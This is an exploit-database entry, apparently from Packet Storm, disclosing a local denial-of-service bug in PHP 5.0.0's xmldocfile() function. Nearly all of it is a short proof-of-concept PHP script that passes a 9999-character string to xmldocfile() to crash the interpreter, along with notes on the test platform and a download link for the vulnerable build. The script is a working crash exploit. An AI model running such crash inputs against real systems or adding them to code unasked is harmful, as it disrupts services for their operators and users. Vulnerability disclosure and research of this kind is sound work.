PHP 5.0.0 xmldocfile() Denial Of Service

2016-08-29T00:00:00
ID PACKETSTORM:138551
Type packetstorm
Reporter Yakir Wizman
Modified 2016-08-29T00:00:00

Description

                                        
                                            `<?php  
#############################################################################  
## PHP 5.0.0 xmldocfile() Local Denial of Service  
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0  
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip  
## Date: 26/08/2016  
## Local Denial of Service  
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)  
## http://www.black-rose.ml  
#############################################################################  
if (!extension_loaded("domxml")) die("You need domxml extension loaded!");  
  
$str = str_repeat('A', 9999);  
xmldocfile($str);  
?>  
  
`